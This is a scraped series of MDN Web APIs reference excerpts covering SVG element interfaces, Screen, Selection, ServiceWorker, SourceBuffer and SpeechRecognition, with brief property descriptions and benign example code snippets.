SVGFESpecularLightingElement - Web APIs
ement" target="_top"><rect x="201" y="65" width="280" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="341" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfespecularlightingelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface also inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
... methods
this interface does not provide any specific methods, but implements those of its parent, svgelement, and also implements methods of svgfilterprimitivestandardattributes.
SVGFESpotLightElement - Web APIs
lightelement" target="_top"><rect x="271" y="65" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="376" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfespotlightelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface also inherits properties from its parent interface, svgelement.
... methods
this interface does not provide any specific methods, but implements those of its parent, svgelement.
SVGFETileElement - Web APIs
/svgfetileelement" target="_top"><rect x="321" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfetileelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface also inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
... methods
this interface does not provide any specific methods, but implements those of its parent, svgelement, and also implements methods of svgfilterprimitivestandardattributes.
SVGFontElement - Web APIs
/web/api/svgfontelement" target="_top"><rect x="1" y="1" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="71" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfontelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface has no properties but inherits properties from its parent, svgelement and implements properties from svgexternalresourcesrequired and svgstylable.
... methods
this interface has no methods but inherits methods from its parent, svgelement and implements methods from svgexternalresourcesrequired and svgstylable.
SVGFontFaceElement - Web APIs
/svgfontfaceelement" target="_top"><rect x="1" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="91" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfontfaceelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface has no properties but inherits properties from its parent, svgelement.
... methods
this interface has no methods but inherits methods from its parent, svgelement.
SVGFontFaceFormatElement - Web APIs
ormatelement" target="_top"><rect x="1" y="1" width="240" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="121" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfontfaceformatelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface has no properties but inherits properties from its parent, svgelement.
... methods
this interface has no methods but inherits methods from its parent, svgelement.
SVGFontFaceNameElement - Web APIs
acenameelement" target="_top"><rect x="1" y="1" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="111" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfontfacenameelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface has no properties but inherits properties from its parent, svgelement.
... methods
this interface has no methods but inherits methods from its parent, svgelement.
SVGFontFaceSrcElement - Web APIs
tfacesrcelement" target="_top"><rect x="1" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="106" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfontfacesrcelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface has no properties but inherits properties from its parent, svgelement.
... methods
this interface has no methods but inherits methods from its parent, svgelement.
SVGFontFaceUriElement - Web APIs
tfaceurielement" target="_top"><rect x="1" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="106" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfontfaceurielement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface has no properties but inherits properties from its parent, svgelement.
... methods
this interface has no methods but inherits methods from its parent, svgelement.
SVGForeignObjectElement - Web APIs
jectelement" target="_top"><rect x="31" y="65" width="230" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="146" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgforeignobjectelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface also inherits properties from its parent, svggraphicselement and implements properties from svgurireference.
... methods
this interface has no methods but inherits methods from its parent, svggraphicselement and implements methods from svgurireference.
SVGGElement - Web APIs
cs/web/api/svggelement" target="_top"><rect x="151" y="65" width="110" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="206" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svggelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface doesn't implement any specific properties, but inherits properties from its parent interface, svggraphicselement.
... methods
this interface doesn't implement any specific methods, but inherits methods from its parent interface, svggraphicselement.
SVGGlyphRefElement - Web APIs
/svgglyphrefelement" target="_top"><rect x="1" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="91" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgglyphrefelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface also inherits properties from its parent, svgelement and implements properties from svgurireference and svgstylable.
... methods
this interface has no methods but inherits methods from its parent, svgelement and implements methods from svgurireference and svgstylable.
SVGGraphicsElement: cut event - Web APIs
a handler for
this event can modify the clipboard contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the default action using event.preventdefault().
... it's possible to construct and dispatch a synthetic cut event, but
this will not affect the system clipboard or the document's contents.
SVGHKernElement - Web APIs
eb/api/svghkernelement" target="_top"><rect x="1" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="76" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svghkernelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface has no properties but inherits properties from its parent, svgelement.
... methods
this interface has no methods but inherits methods from its parent, svgelement.
SVGImageElement - Web APIs
pi/svgimageelement" target="_top"><rect x="111" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="186" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgimageelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface also inherits properties from its parent, svggraphicselement.
... methods
this interface also inherits methods from its parent interface, svggraphicselement.
SVGLineElement - Web APIs
/api/svglineelement" target="_top"><rect x="-99" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="-29" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svglineelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface also inherits properties from its parent, svggeometryelement.
... methods
this interface doesn't implement any specific methods, but inherits methods from its parent interface, svggeometryelement.
SVGLinearGradientElement - Web APIs
entelement" target="_top"><rect x="21" y="65" width="240" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="141" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svglineargradientelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface also inherits properties from its parent, svggradientelement.
... methods
this interface doesn't implement any specific methods, but inherits methods from its parent interface, svggradientelement.
SVGMPathElement - Web APIs
pi/svgmpathelement" target="_top"><rect x="331" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgmpathelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface doesn't implement any specific properties, but inherits properties from its parent interface, svgelement.
... methods
this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgelement.
SVGMaskElement - Web APIs
/api/svgmaskelement" target="_top"><rect x="341" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgmaskelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface also inherits properties from its parent, svgelement.
... methods
this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgelement.
SVGMeshElement - Web APIs
/web/api/svgmeshelement" target="_top"><rect x="1" y="1" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="71" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgmeshelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface doesn't implement any specific properties, but inherits properties from its parent interface, svggeometryelement, and implements the properties of svgurireference.
... methods
this interface doesn't implement any specific methods, but inherits methods from its parent interface, svggeometryelement, and implements the methods of svgurireference.
SVGMetadataElement - Web APIs
metadataelement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgmetadataelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface doesn't implement any specific properties, but inherits properties from its parent interface, svgelement.
... methods
this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgelement.
SVGMissingGlyphElement - Web APIs
ngglyphelement" target="_top"><rect x="1" y="1" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="111" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgmissingglyphelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface has no properties but inherits properties from its parent, svgelement and implements properties from svgstylable.
... methods
this interface has no methods but inherits methods from its parent, svgelement and implements methods from svgstylable.
SVGPatternElement - Web APIs
vgpatternelement" target="_top"><rect x="311" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgpatternelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface also inherits properties from its parent, svgelement and implements the ones from svgfittoviewbox and svgurireference.
... methods
this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgelement and implements the ones from svgfittoviewbox and svgurireference.
SVGPolygonElement - Web APIs
gpolygonelement" target="_top"><rect x="-129" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="-44" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgpolygonelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface doesn't implement any specific properties, but inherits properties from its parent, svggeometryelement and also implements properties from svganimatedpoints.
... methods
this interface doesn't implement any specific methods, but inherits methods from its parent, svggeometryelement.
SVGPolylineElement - Web APIs
olylineelement" target="_top"><rect x="-139" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="-49" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgpolylineelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface doesn't implement any specific properties, but inherits properties from its parent, svggeometryelement and also implements properties from svganimatedpoints.
... methods
this interface doesn't implement any specific methods, but inherits methods from its parent, svggeometryelement.
SVGRadialGradientElement - Web APIs
entelement" target="_top"><rect x="21" y="65" width="240" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="141" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgradialgradientelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface also inherits properties from its parent, svggradientelement.
... methods
this interface doesn't implement any specific methods, but inherits methods from its parent interface, svggradientelement.
SVGRectElement - Web APIs
/api/svgrectelement" target="_top"><rect x="-99" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="-29" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgrectelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface also inherits properties from its parent, svggeometryelement.
... methods
this interface doesn't implement any specific methods, but inherits methods from its parent, svggeometryelement.
SVGSetElement - Web APIs
eb/api/svgsetelement" target="_top"><rect x="121" y="65" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="186" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgsetelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface doesn't implement any specific properties, but inherits properties from its parent interface, svganimationelement.
... methods
this interface doesn't implement any specific methods, but inherits methods from its parent interface, svganimationelement.
SVGSolidcolorElement - Web APIs
olidcolorelement" target="_top"><rect x="1" y="1" width="200" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="101" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgsolidcolorelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface doesn't implement any specific properties, but inherits properties from its parent interface, svgelement.
... methods
this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgelement.
SVGStopElement - Web APIs
/api/svgstopelement" target="_top"><rect x="341" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgstopelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface also inherits properties from its parent interface, svgelement.
... methods
this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgelement.
SVGSwitchElement - Web APIs
/svgswitchelement" target="_top"><rect x="101" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="181" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgswitchelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface doesn't implement any specific properties, but inherits properties from its parent interface, svggraphicselement.
... methods
this interface doesn't implement any specific methods, but inherits methods from its parent interface, svggraphicselement.
SVGSymbolElement - Web APIs
/svgsymbolelement" target="_top"><rect x="321" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgsymbolelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface doesn't implement any specific properties, but inherits properties from its parent interface, svggraphicselement, and implements properties from svgfittoviewbox.
... methods
this interface doesn't implement any specific methods, but inherits methods from its parent interface, svggraphicselement, and implements methods from svgfittoviewbox.
SVGTRefElement - Web APIs
/web/api/svgtrefelement" target="_top"><rect x="1" y="1" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="71" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgtrefelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface has no properties but inherits properties from its parent, svgtextpositioningelement and implements properties from svgurireference.
... methods
this interface has no methods but inherits methods from its parent, svgtextpositioningelement and implements properties from svgurireference.
SVGTSpanElement - Web APIs
/svgtspanelement" target="_top"><rect x="-429" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="-354" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgtspanelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface doesn't provide any specific properties, but inherits the properties from its parent, svgtextpositioningelement.
... methods
this interface doesn't provide any specific methods.
SVGTextElement - Web APIs
pi/svgtextelement" target="_top"><rect x="-419" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="-349" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgtextelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface doesn't implement any specific properties, but inherits properties from its parent interface, svgtextpositioningelement.
... methods
this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgtextpositioningelement.
SVGTextPositioningElement - Web APIs
lement" target="_top"><rect x="-239" y="65" width="250" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="-114" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgtextpositioningelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface also inherits properties from its parent, svgtextcontentelement.
... methods
this interface doesn't provide any specific methods, but inherits methods from its parent, svgtextcontentelement.
SVGTitleElement - Web APIs
pi/svgtitleelement" target="_top"><rect x="331" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgtitleelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface doesn't implement any specific properties, but inherits properties from its parent interface, svgelement.
... methods
this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgelement.
SVGVKernElement - Web APIs
eb/api/svgvkernelement" target="_top"><rect x="1" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="76" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgvkernelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface has no properties but inherits properties from its parent, svgelement.
... methods
this interface has no methods but inherits methods from its parent, svgelement.
SVGViewElement - Web APIs
properties
this interface also inherits properties from its parent interface, svgelement.
... methods
this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgelement.
Screen.availHeight - Web APIs
this can be no larger than the value of window.screen.height, and will be less if the device or user agent reserves any vertical space for itself.
... on a windows system,
this would function similarly, by opening the window and sizing it vertically so it uses all available vertical space, leaving room for the taskbar and any other interface elements that reserve space.
Screen.lockOrientation() - Web APIs
note:
this method only works for installed web apps or for web pages in full-screen mode.
...
this is either a string or an array of strings.
Screen - Web APIs
screen.orientation returns the screenorientation instance associated with
this screen.
... eventtarget.dispatchevent() dispatches an event to
this eventtarget.
ScriptProcessorNode.bufferSize - Web APIs
note: as of the august 29 2014 web audio api spec publication,
this feature has been marked as deprecated, and is soon to be replaced by audio workers.
... } // give the node a function to process audio events scriptnode.onaudioprocess = function(audioprocessingevent) { // the input buffer is the song we loaded earlier var inputbuffer = audioprocessingevent.inputbuffer; // the output buffer contains the samples that will be modified and played var outputbuffer = audioprocessingevent.outputbuffer; // loop through the output channels (in
this case there is only one) for (var channel = 0; channel < outputbuffer.numberofchannels; channel++) { var inputdata = inputbuffer.getchanneldata(channel); var outputdata = outputbuffer.getchanneldata(channel); // loop through the 4096 samples for (var sample = 0; sample < inputbuffer.length; sample++) { // make output equal to the same as the input outputdata[sample] ...
ScriptProcessorNode.onaudioprocess - Web APIs
note: as of the august 29 2014 web audio api spec publication,
this feature has been marked as deprecated, and is soon to be replaced by audio workers.
... } // give the node a function to process audio events scriptnode.onaudioprocess = function(audioprocessingevent) { // the input buffer is the song we loaded earlier var inputbuffer = audioprocessingevent.inputbuffer; // the output buffer contains the samples that will be modified and played var outputbuffer = audioprocessingevent.outputbuffer; // loop through the output channels (in
this case there is only one) for (var channel = 0; channel < outputbuffer.numberofchannels; channel++) { var inputdata = inputbuffer.getchanneldata(channel); var outputdata = outputbuffer.getchanneldata(channel); // loop through the 4096 samples for (var sample = 0; sample < inputbuffer.length; sample++) { // make output equal to the same as the input outputdata[sample] ...
Selection.collapse() - Web APIs
syntax sel.collapse(node, offset); parameters node the caret location will be within
this node.
...
this value can also be set to null — if null is specified, the method will behave like selection.removeallranges(), i.e.
Selection.containsNode() - Web APIs
example check for selection
this snippet checks whether anything inside the body element is selected.
... console.log(window.getselection().containsnode(document.body, true)); find the hidden word in
this example, a message appears when you select the secret word.
Selection.removeRange() - Web APIs
*
this will remove all ranges except the first.
... working draft current browser compatibility the compatibility table on
this page is generated from structured data.
Sensor - Web APIs
this interface cannot be used directly.
...
this is not something that would ever be shown to a user.
ServiceWorkerContainer.controller - Web APIs
this property returns null if the request is a force refresh (shift + refresh) or if there is no active worker.
... if (navigator.serviceworker.controller) { console.log(`
this page is currently controlled by: ${navigator.serviceworker.controller}`); } else { console.log('
this page is not currently controlled by a service worker.'); } } else { console.log('service workers are not supported.'); } specifications specification status comment service workersthe definition of 'serviceworkerregistration.controller' in that specification.
ServiceWorkerGlobalScope: notificationclick event - Web APIs
bubbles no cancelable no interface notificationevent event handler onnotificationclick examples you can use the notificationclick event in an addeventlistener method: self.addeventlistener('notificationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); //
this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); }...
...)); }); or use the onnotificationclick event handler property: self.onnotificationclick = function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); //
this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }; specifications specification status notifications apithe definition of 'onnotificationclick' in that specification.
ServiceWorkerGlobalScope.oninstall - Web APIs
this happens before activation.
...}; examples the following snippet shows how an install event handler can be used to populate a cache with a number of responses, which the service worker can then use to serve assets offline:
this.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.add( '/sw-test/', '/sw-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', '/sw-test/gallery/', '/sw-test/gallery/bountyhunters.jpg', '/sw-test/gallery/mylittlevader.jpg', '/sw-test/gallery/snowtroopers.jpg' ); }) ); }); specifications s...
ServiceWorkerGlobalScope.onnotificationclick - Web APIs
}; example self.onnotificationclick = function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); //
this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); }...
...
this property is specified on the notifications_api even though it's part of serviceworkerglobalscope.
ServiceWorkerRegistration.active - Web APIs
this property is initially set to null.
... an active worker controls a serviceworkerclient if the client's url falls within the scope of the registration (the scope option set when serviceworkercontainer.register is first called.) note:
this feature is available in web workers.
ServiceWorkerRegistration.pushManager - Web APIs
the pushmanager property of the serviceworkerregistration interface returns a reference to the pushmanager interface for managing push subscriptions;
this includes support for subscribing, getting an active subscription, and accessing push permission status.
... examples
this.onpush = function(event) { console.log(event.data); // from here we can write the data to indexeddb, send it to any open // windows, display a notification, etc.
ShadowRoot.delegatesFocus - Web APIs
this is currently an experimental non-standard feature, available only in chrome.
...let hostelem = shadow.delegatesfocus; specifications
this feature is not currently in a specification.
SharedWorkerGlobalScope: connect event - Web APIs
bubbles no cancelable no interface messageevent event handler property sharedworkerglobalscope.onconnect examples
this example shows a shared worker file — when a connection to the worker occurs from a main thread via a messageport, the onconnect event handler fires.
... the connecting port can be referenced through the event object's ports parameter;
this reference can have an onmessage handler attached to it to handle messages coming in through the port, and its postmessage() method can be used to send messages back to the main thread using the worker.
SourceBuffer.changeType() - Web APIs
this makes it possible to change codecs or container type mid-stream.
... one scenario in which
this is helpful is to support adapting the media source to changing bandwidth availability, by transitioning from one codec to another as resource constraints change.
SourceBuffer.remove() - Web APIs
this method can only be called when sourcebuffer.updating equals false.
... invalidstateerror the sourcebuffer.updating property is equal to true, or
this sourcebuffer has been removed from the mediasource.
SourceBuffer.removeAsync() - Web APIs
this method can only be called when updating is false.
... example
this example establishes an asynchronous function, emptysourcebuffer(), which simply clears the contents of the specified sourcebuffer.
SourceBuffer.timestampOffset - Web APIs
exceptions the following exceptions may be thrown when setting a new value for
this property.
...their sourcebuffer.updating property is currently true), a media segment inside the sourcebuffer is currently being parsed, or
this sourcebuffer has been removed from the mediasource.
SourceBuffer.trackDefaults - Web APIs
exceptions the following exceptions may be thrown when setting a new value for
this property.
...their sourcebuffer.updating property is currently true), or
this sourcebuffer has been removed from the mediasource.
SpeechGrammarList.addFromString() - Web APIs
the weight means the importance of
this grammar, or the likelihood that it will be recognised by the speech recognition service.
...ammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal |
thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; specifications specification status comment web speech apithe definition of 'addfromstring()' in that specification.
SpeechGrammarList.addFromURI() - Web APIs
the weight means the importance of
this grammar, or the likelihood that it will be recognised by the speech recognition service.
...ammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal |
thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; speechrecognitionlist.addfromuri('http://www.example.com/grammar.txt'); // adds a second grammar to the list.
SpeechRecognition() - Web APIs
examples
this code is excerpted from our speech color changer example.
...ammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal |
thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
SpeechRecognition.continuous - Web APIs
true means continuous, and false means not continuous (single result each time.) examples
this code is excerpted from our speech color changer example.
...ammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal |
thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
